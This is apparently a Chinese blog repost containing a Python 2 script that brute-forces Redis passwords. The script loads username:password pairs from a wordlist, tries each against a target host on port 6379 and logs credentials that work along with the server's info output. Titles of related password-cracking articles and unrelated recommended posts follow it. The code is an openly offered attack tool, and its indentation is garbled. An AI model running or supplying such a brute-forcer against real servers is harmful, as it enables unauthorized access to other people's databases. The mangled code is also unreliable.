本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ 

import redis
import logging LOGIN_TIMEOUT = 12 class RedisAuth:
  #初始化
def __init__(self, (host, port)):
self.addr = (host, port)
print self.addr
  #login函数,有三个参数,self,username,password
def login(self, username='', password=''):
conn_ok, auth_ok, banner = False, False, ''
connection = None
try:
       #连接redis
       #redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8',
        errors='strict', decode_responses=False, unix_socket_path=None)
connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],password=password,db=0, socket_connect_timeout=LOGIN_TIMEOUT)
conn_ok = True
auth_ok = True
print password
info = connection.info()
banner = str(info)
logging.getLogger().warn('FOUND %s:%s@%s:%d<OK>' % (username, password, self.addr[0], self.addr[1]))
except Exception as e:
es = str(e)
if es.find('Password') >= 0:
conn_ok = True
else:
conn_ok = False
logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es))
print es
del connection #删除变量connection
return conn_ok, auth_ok, banner class RedisBruteTester:
def __init__(self, userdict, passwords=None):
self.userdict = userdict
pass def test(self, task):
(host, port) = (task[0], task[1])
rs = []
auth = RedisAuth((host, port))
# print self.userdict
for username in self.userdict:
for password in self.userdict[username]:
conn_ok, auth_ok, banner = auth.login(username, password)
print conn_ok,auth_ok,banner
if not conn_ok:
# return rs
continue
if not auth_ok:
            continue
         rs.append([host, port, 'REDIS', username, password, banner])
         break
    if not rs:
      logging.getLogger().info('SAFE %s:%d' % (host, port))
    return rs if __name__ == '__main__':
  host,port = "需要暴力破解的host",int('6379')
  userdict = dict()
  for ln in open('c:\\redis_userpasswd.txt'):
    fs = ln.strip().split(':', 1)
    if len(fs) != 2:
      continue
    username = fs[0]
    password = fs[1]
    if username not in userdict:
      userdict[username] = set()
    userdict[username].add(password)
    # logger = xutils.initLogger('.\\pass\\redis.txt')
  tester = RedisBruteTester(userdict)
  rs = tester.test((host, port))
  if rs == []:
    print('Faild')
  else:
    print(rs)

用python 编写redis 暴力破解密码的程序的更多相关文章

  1. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  2. 利用Python自动生成暴力破解的字典

    Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Pyth ...

  3. 忘记秘密利用python模拟登录暴力破解秘密

    忘记秘密利用python模拟登录暴力破解秘密: #encoding=utf-8 import itertools import string import requests def gen_pwd_f ...

  4. 教你用免费的hihttps开源WEB应用防火墙阻止暴力破解密码

    教你用免费的hihttps开源WEB应用防火墙阻止暴力破解密码 很多企业都有自己的网站,需要用户登录后才能访问,但有大量的黑客攻击软件可以暴力破解网站密码,即使破解不了也非常恶心.有没有免费的解决办法 ...

  5. 用Python编写的第一个回测程序

    用Python编写的第一个回测程序 2016-08-06 def savfig(figureObj, fn_prefix1='backtest8', fn_prefix2='_1_'): import ...

  6. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  7. 编写DVWA暴力破解High级别的Python脚本

    1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证. 2. ...

  8. C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 防止暴力破解密码、提高大型信息系统安全

    几十万人使用的系统.覆盖全国.每天营业额上好几个亿的.若信息安全方面太薄弱了.那将会是致命的打击.甚至威胁到企业的正常运转.从国家层面到企业级别大家都在重视信息的安全.可控. 运行速度慢一点点可以忍受 ...

  9. Windows Server 2016 服务器总是有暴力破解密码导致的审核失败

    最近看了一下公司服务器的日志,在安全里,总是有审核失败,特别烦人,尝试密码特别弱智,总是用Administrator做用户名,不停的变换密码,真的烦,用户里面根本就没有Administrator,早就 ...

随机推荐

  1. 《构建之法》需求分析 读书笔记 Week6

    本周选读<构建之法>第8章——需求分析.由于有团队项目初期调研阶段做调查问卷的经历,这一章节中很多知识点我都比较有体会.对我而言,这一章节最有价值的内容就是厘清了关于需求分析的两个误解和近 ...

  2. 前端移动端开发总结(Vue)

    上下固定,中间滚动布局(FLEX) <div id="app"> <div class="header"></div> &l ...

  3. 结对编程收获——UI真的没有那么简单

    结对编程收获——UI真的没有那么简单                                                      詹元成 初看作业要求,心里还有一点欣喜,不就是做一个UI ...

  4. 【JS学习】慕课网8-17编程练习 网页的返回与跳转

    编程练习 制作一个跳转提示页面: 要求: 1. 如果打开该页面后,如果不做任何操作则5秒后自动跳转到一个新的地址,如慕课网主页. 2. 如果点击“返回”按钮则返回前一个页面. 代码如下: 需要注意的是 ...

  5. STL_Algorithm

    #include <algorithm> #include <cstdio> using namespace std; /*虽然最后一个排列没有下一个排列,用next_perm ...

  6. react todelist

    1.点击按钮提交,新增对象 buttonChange() { this.setState({ //展开运算符...this.state.list,生成一个全新的数组 // list:[...this. ...

  7. pygame征途:(一)图片移动反弹

    题目大意: 就是弄一张图片在背景画布上移动,然后碰到边界就图片翻转并且反向移动 基本思路: 需要pygame常用的一些常用的函数,然后基本就是在背景画布上blit一张图片,然后移动就是先全刷成背景画布 ...

  8. 【leetcode】958. Check Completeness of a Binary Tree

    题目如下: Given a binary tree, determine if it is a complete binary tree. Definition of a complete binar ...

  9. Cross platform

    值得学习的C/C++语言开源项目 (1)ACE 庞大.复杂,适合大型项目.开源.免费,不依赖第三方库,支持跨平台. http://www.cs.wustl.edu/~schmidt/ACE.html ...

  10. C#中的类型相等与恒等(Equality & Identity)

    l  Equality:如果两个对象是相同的类型,并且它们各自带有相同和等值的属性.(They are instances of the same type and if each of the fi ...